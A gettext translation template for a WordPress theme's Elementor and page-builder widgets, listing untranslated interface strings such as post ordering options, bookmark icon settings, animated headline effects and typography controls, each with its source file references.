#: inc/elementor/base/base-widget.php:1269
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1860
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:127
msgid "Most Viewed Posts Daily"
msgstr ""

#: inc/elementor/base/base-widget.php:1277
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:88
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1868
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:103
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:134
#: inc/js_composer/shortcodes/web_stories/settings.php:48
#: inc/template-builder/archive-elements/taxonomy.php:157
msgid "Order"
msgstr ""

#: inc/elementor/base/base-widget.php:1288
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1879
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:297
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:248
#: inc/elementor/modules/penci-product/widgets/penci-product.php:152
#: inc/js_composer/inc/product_param.php:95
#: inc/js_composer/shortcodes/product/settings.php:98
#: inc/js_composer/shortcodes/web_stories/settings.php:80
msgid "Offset"
msgstr ""

#: inc/elementor/base/base-widget.php:1292
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1883
msgid "Use this setting to skip over posts (e.g. '2' to skip over 2 posts)."
msgstr ""

#: inc/elementor/base/base-widget.php:1296
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1887
msgid "Avoid Duplicates"
msgstr ""

#: inc/elementor/base/base-widget.php:1299
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1890
msgid ""
"Set to Yes to avoid duplicate posts from showing up. This only effects the "
"frontend."
msgstr ""

#: inc/elementor/base/base-widget.php:1322
msgid "Bookmark Icon"
msgstr ""

#: inc/elementor/base/base-widget.php:1326
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:314
msgid "Hide Bookmark Icon"
msgstr ""

#: inc/elementor/base/base-widget.php:1346
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:340
#: inc/elementor/modules/penci-button/widgets/penci-button.php:333
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:372
#: inc/template-builder/single-elements/custom-field.php:218
#: inc/template-builder/single-elements/featured-overlay.php:384
#: inc/template-builder/single-elements/meta.php:234
msgid "Icon Font Size"
msgstr ""

#: inc/elementor/base/base-widget.php:1359
msgid "Icon Small Size"
msgstr ""

#: inc/elementor/base/base-widget.php:1372
msgid "Icon Small Font Size"
msgstr ""

#: inc/elementor/base/base-widget.php:1410
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:209
#: inc/js_composer/shortcodes/big_grid/settings.php:1148
#: inc/js_composer/shortcodes/social_counter/settings.php:325
msgid "Border Hover Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1418
#: inc/elementor/modules/penci-button-popup/widgets/penci-button-popup.php:444
#: inc/elementor/modules/penci-button/widgets/penci-button.php:489
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:706
#: inc/js_composer/inc/vc-params-helper.php:57
#: inc/js_composer/shortcodes/social_counter/settings.php:337
msgid "Icon Hover Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1435
msgid "Bookmarked Border Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1443
#: inc/js_composer/inc/vc-params-helper.php:79
msgid "Bookmarked Icon Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1451
msgid "Bookmarked Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1469
msgid "Paywall Premium Post Title"
msgstr ""

#: inc/elementor/base/base-widget.php:1473
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:48
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:497
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:48
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:569
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:300
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:50
#: inc/elementor/modules/penci-featured-cat/widgets/penci-featured-cat.php:50
#: inc/elementor/modules/penci-instagram/widgets/penci-instagram.php:75
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:70
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:483
#: inc/elementor/modules/penci-simple-list/widgets/penci-simple-list.php:294
#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:76
#: inc/js_composer/shortcodes/animated_headline/settings.php:16
#: inc/js_composer/shortcodes/fancy_heading/settings.php:162
#: inc/js_composer/shortcodes/product_brand/settings.php:76
#: inc/template-builder/archive-elements/posts.php:67
#: inc/template-builder/single-elements/postpagination.php:41
msgid "Style"
msgstr ""

#: inc/elementor/base/base-widget.php:1483
msgid "Heading Prefix Text Typo"
msgstr ""

#: inc/elementor/base/base-widget.php:1487
msgid "Heading Prefix Text"
msgstr ""

#: inc/elementor/base/base-widget.php:1495
msgid "Heading Prefix Text Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1502
msgid "Heading Prefix Text Background Color"
msgstr ""

#: inc/elementor/base/base-widget.php:1510
msgid "Heading Prefix Text Padding"
msgstr ""

#: inc/elementor/base/base-widget.php:1517
msgid "Heading Prefix Text Margin"
msgstr ""

#: inc/elementor/elementor.php:12
msgid "Display Order"
msgstr ""

#: inc/elementor/includes/penci_custom_walker_category.php:46
#: inc/woocommerce/woocommerce.php:124
#, php-format
msgid "Feed for all posts filed under %s"
msgstr ""

#: inc/elementor/loader.php:247
msgid "Penci Custom Fonts"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:23
msgid " Widget About Me"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:44
msgid "About me"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:78
msgid "Heading Text"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:80
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:249
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:312
msgid "This is the heading"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:81
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:250
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:313
msgid "Enter your title"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:88
msgid "About us text:"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:90
#: inc/elementor/modules/penci-text-block/widgets/penci-text-block.php:50
msgid ""
"Click edit button to change this text. Lorem ipsum dolor sit amet, "
"consectetur adipiscing elit. Ut elit tellus, luctus nec ullamcorper mattis, "
"pulvinar dapibus leo."
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:91
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:286
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:322
msgid "Enter your description"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:102
#: inc/js_composer/shortcodes/about_me/settings.php:70
msgid "Align This Block"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:126
#: inc/js_composer/shortcodes/about_me/settings.php:81
msgid "Title HTML Tag"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:144
msgid "Make About Image Circle"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:145
msgid "Disable Lazyload for Image"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:168
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:273
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:394
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:125
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:160
#: inc/elementor/modules/penci-featured-boxes/widgets/penci-featured-boxes.php:143
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:450
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:127
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:53
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:241
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:256
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:371
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:215
#: inc/elementor/modules/penci-testimonials/widgets/penci-testimonials.php:521
#: inc/js_composer/shortcodes/advanced_list/settings.php:69
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:68
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:74
#: inc/js_composer/shortcodes/counter_up/settings.php:65
#: inc/js_composer/shortcodes/counter_up/settings.php:70
#: inc/js_composer/shortcodes/featured_slider/settings.php:223
#: inc/js_composer/shortcodes/info_box/settings.php:107
#: inc/js_composer/shortcodes/info_box/settings.php:114
#: inc/js_composer/shortcodes/pricing_table/settings.php:26
#: inc/js_composer/shortcodes/simple_list/settings.php:149
#: inc/js_composer/shortcodes/team_member/settings.php:209
#: inc/js_composer/soledad_vc.php:1973 inc/woocommerce/modules/swatches.php:12
#: inc/woocommerce/woocommerce.php:114
msgid "Image"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:176
#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:230
#: inc/js_composer/shortcodes/custom_sliders/settings.php:339
#: inc/js_composer/shortcodes/custom_sliders/settings.php:433
#: inc/js_composer/shortcodes/mailchimp/settings.php:67
msgid "Margin bottom"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:222
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:396
msgid "Heading"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:248
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:534
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1444
#: inc/elementor/modules/penci-category-listing/widgets/penci-category-listing.php:908
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:507
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:582
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:1055
#: inc/js_composer/shortcodes/big_grid/settings.php:1046
msgid "Title Typography"
msgstr ""

#: inc/elementor/modules/penci-about-me/widgets/penci-about-me.php:281
msgid "Content Typography"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:23
msgid " Advanced Categories"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:43
#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:69
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:92
msgid "Taxonomy"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:53
msgid "Boxed"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:80
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:98
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:151
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:104
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:133
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:271
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:231
#: inc/elementor/modules/penci-product/widgets/penci-product.php:138
#: inc/js_composer/inc/product_param.php:78
#: inc/js_composer/params/loop/register.php:358
#: inc/js_composer/shortcodes/product/settings.php:81
#: inc/js_composer/shortcodes/product_brand/settings.php:29
#: inc/js_composer/shortcodes/web_stories/settings.php:38
msgid "ID"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:82
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:99
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:134
#: inc/js_composer/shortcodes/product_brand/settings.php:30
msgid "Slug"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:83
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:135
msgid "Count"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:98
msgid "Show Empty Categories?"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:103
msgid "Show in hierarchical?"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:108
msgid "Show posts count?"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:113
msgid "Show Toggle Button?"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:118
msgid "Highlight posts count?"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:123
msgid "Limit Category to Show"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:129
msgid "Exclude Term IDs:"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:130
msgid "E.g:  1, 2, 4"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:139
#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:98
#: inc/elementor/modules/penci-comments-list/widgets/penci-comments-list.php:95
#: inc/elementor/modules/penci-search-form/widgets/penci-search-form.php:97
#: inc/elementor/modules/penci-snapchat/widgets/penci-snapchat.php:132
msgid "Color & Style"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:145
msgid "Term Name Typography"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:164
#: inc/elementor/modules/penci-author-list/widgets/penci-author-list.php:161
msgid "Post Count Color"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:174
msgid "Post Count Hover Color"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:181
msgid "Post Count BackgroundColor"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:192
msgid "Post Count Hover Background Color"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:230
msgid "Term Name Padding"
msgstr ""

#: inc/elementor/modules/penci-advanced-categories/widgets/penci-advanced-categories.php:241
msgid "Term Spacing"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:43
msgid " Advanced List"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:93
msgid "General Label Style:"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:107
msgid "Heading Title Style:"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:120
msgid "Split list menu items in columns?"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:124
msgid "No - Keep in 1 Column"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:134
msgid "Spacing Between Columns"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:147
msgid "Spacing Between Title and List"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:159
msgid "Spacing Between Item Lists"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:176
msgid "Custom List Items"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:192
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:312
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:141
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:519
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:1416
#: inc/elementor/modules/penci-counter-up/widgets/penci-counter-up.php:113
#: inc/elementor/modules/penci-custom-sliders/widgets/penci-custom-sliders.php:901
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:174
#: inc/elementor/modules/penci-fancy-heading/widgets/penci-fancy-heading.php:466
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:281
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:323
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:513
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:247
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:554
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:310
#: inc/elementor/modules/penci-media-carousel/widgets/penci-media-carousel.php:1035
#: inc/elementor/modules/penci-portfolio/widgets/penci-portfolio.php:201
#: inc/elementor/modules/penci-pricing-table/widgets/penci-pricing-table.php:383
#: inc/elementor/modules/penci-product-categories-grid/widgets/penci-product-categories-grid.php:153
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:106
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:116
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:196
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:289
#: inc/elementor/modules/penci-product-filter/widgets/penci-product-filter.php:334
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:172
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:273
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:233
#: inc/elementor/modules/penci-product/widgets/penci-product.php:140
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:374
#: inc/elementor/modules/penci-web-story/widgets/penci-web-story.php:380
#: inc/gutenberg/block/recipe-index/index.js:57
#: inc/js_composer/inc/product_param.php:80
#: inc/js_composer/inc/product_param.php:197
#: inc/js_composer/inc/product_param.php:224
#: inc/js_composer/params/loop/register.php:360
#: inc/js_composer/shortcodes/advanced_list/settings.php:24
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:27
#: inc/js_composer/shortcodes/big_grid/settings.php:112
#: inc/js_composer/shortcodes/big_grid/settings.php:458
#: inc/js_composer/shortcodes/counter_up/settings.php:55
#: inc/js_composer/shortcodes/counter_up/settings.php:404
#: inc/js_composer/shortcodes/custom_sliders/settings.php:56
#: inc/js_composer/shortcodes/fancy_heading/settings.php:298
#: inc/js_composer/shortcodes/featured_slider/settings.php:274
#: inc/js_composer/shortcodes/info_box/settings.php:30
#: inc/js_composer/shortcodes/info_box/settings.php:422
#: inc/js_composer/shortcodes/open_hours/settings.php:50
#: inc/js_composer/shortcodes/pricing_table/settings.php:242
#: inc/js_composer/shortcodes/product/settings.php:83
#: inc/js_composer/shortcodes/small_list/settings.php:251
#: inc/js_composer/shortcodes/web_stories/settings.php:40
#: inc/widgets/price_filter.php:31 inc/widgets/product_filter.php:59
#: inc/widgets/product_sorting.php:32 inc/widgets/product_stock_status.php:17
msgid "Title"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:216
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:336
#: inc/js_composer/shortcodes/advanced_list/settings.php:41
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:45
#: inc/js_composer/shortcodes/progress_bar/settings.php:37
#: inc/woocommerce/modules/swatches.php:13 inc/woocommerce/woocommerce.php:115
msgid "Label"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:222
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:342
msgid "Label Style:"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:226
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:346
msgid "Default From General"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:238
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:358
#: inc/js_composer/shortcodes/advanced_list/settings.php:47
#: inc/js_composer/shortcodes/advanced_list_item/settings.php:51
msgid "Label text (optional)"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:246
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:366
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:619
msgid "Label Background Color"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:259
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:380
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:606
msgid "Label Text Color"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:280
#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:401
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:97
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:184
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:347
msgid "Choose image"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:423
msgid "List items"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:429
msgid "Menu child item 1"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:439
msgid "Menu child item  2"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:449
msgid "Menu child item 3"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:459
msgid "Menu child item 4"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:469
msgid "Menu child item 5"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:479
msgid "Menu child item 6"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:505
#: inc/js_composer/shortcodes/pc_single_comments/settings.php:205
msgid "Heading Title Line Color"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:521
msgid "Heading Title Small Line Color"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:542
msgid "Menu Title color"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:554
msgid "Menu Title Hover color"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:566
msgid "Menu Item Typography"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:574
msgid "Menu Item Color"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:586
msgid "Menu Item Hover Color"
msgstr ""

#: inc/elementor/modules/penci-advanced-list/widgets/penci-advanced-list.php:598
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:451
msgid "Label Typography"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:22
msgid "Penci Animated Headline"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:41
msgid "Headline"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:53
msgid "Highlighted"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:54
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:154
#: inc/js_composer/shortcodes/animated_headline/settings.php:45
msgid "Rotating"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:62
#: inc/elementor/modules/penci-info-box/widgets/penci-info-box.php:139
#: inc/elementor/modules/penci-social-counter/widgets/penci-social-counter.php:100
#: inc/js_composer/shortcodes/animated_headline/settings.php:27
#: inc/js_composer/shortcodes/info_box/settings.php:161
#: inc/js_composer/shortcodes/social_counter/settings.php:200
msgid "Shape"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:67
msgid "Curly"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:68
#: inc/elementor/modules/penci-block-heading-title/widgets/penci-block-heading-title.php:73
msgid "Underline"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:70
msgid "Double Underline"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:71
msgid "Underline Zigzag"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:72
msgid "Diagonal"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:73
msgid "Strikethrough"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:74
msgid "X"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:75
msgid "Check"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:76
#: inc/elementor/modules/penci-map/widgets/penci-map.php:156
#: inc/js_composer/shortcodes/google_map/settings.php:107
msgid "Pan"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:77
#: inc/elementor/modules/penci-product-hotspot/widgets/penci-product-hotspot.php:371
msgid "Click"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:78
msgid "Heart"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:79
msgid "Bolt"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:80
msgid "Sparkle"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:81
#: inc/js_composer/shortcodes/social_counter/settings.php:100
msgid "Line"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:82
msgid "Line 1"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:83
msgid "Line 2"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:84
msgid "Underline 1"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:85
msgid "Underline 2"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:94
msgid "Shape Width"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:112
#: inc/js_composer/shortcodes/animated_headline/settings.php:238
msgid "Animation Duration"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:113
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:134
msgid "Enter the value in second(s)"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:133
msgid "Animation Delay"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:158
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:672
msgid "Typing"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:159
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:723
msgid "Clip"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:161
msgid "Swirl"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:162
msgid "Blinds"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:163
msgid "Bounce"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:165
msgid "Rubber Band"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:166
msgid "Drop In"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:167
msgid "Wave"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:168
msgid "Slide Left"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:169
msgid "Slide Right"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:180
msgid "Letters Speed Rotate"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:211
msgid "Delay on Change Words"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:228
#: inc/js_composer/shortcodes/animated_headline/settings.php:80
msgid "Clip Duration"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:259
msgid "Delay on Delete Letters"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:290
#: inc/js_composer/shortcodes/animated_headline/settings.php:92
msgid "Before Text"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:299
#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:502
#: inc/js_composer/shortcodes/animated_headline/settings.php:97
#: inc/js_composer/shortcodes/animated_headline/settings.php:103
msgid "Animated Text"
msgstr ""

#: inc/elementor/modules/penci-animated-headline/widgets/penci-animated-headline.php:309
#: inc/js_composer/shortcodes/animated_headline/settings.php:109
msgid "After Text"
msgstr ""

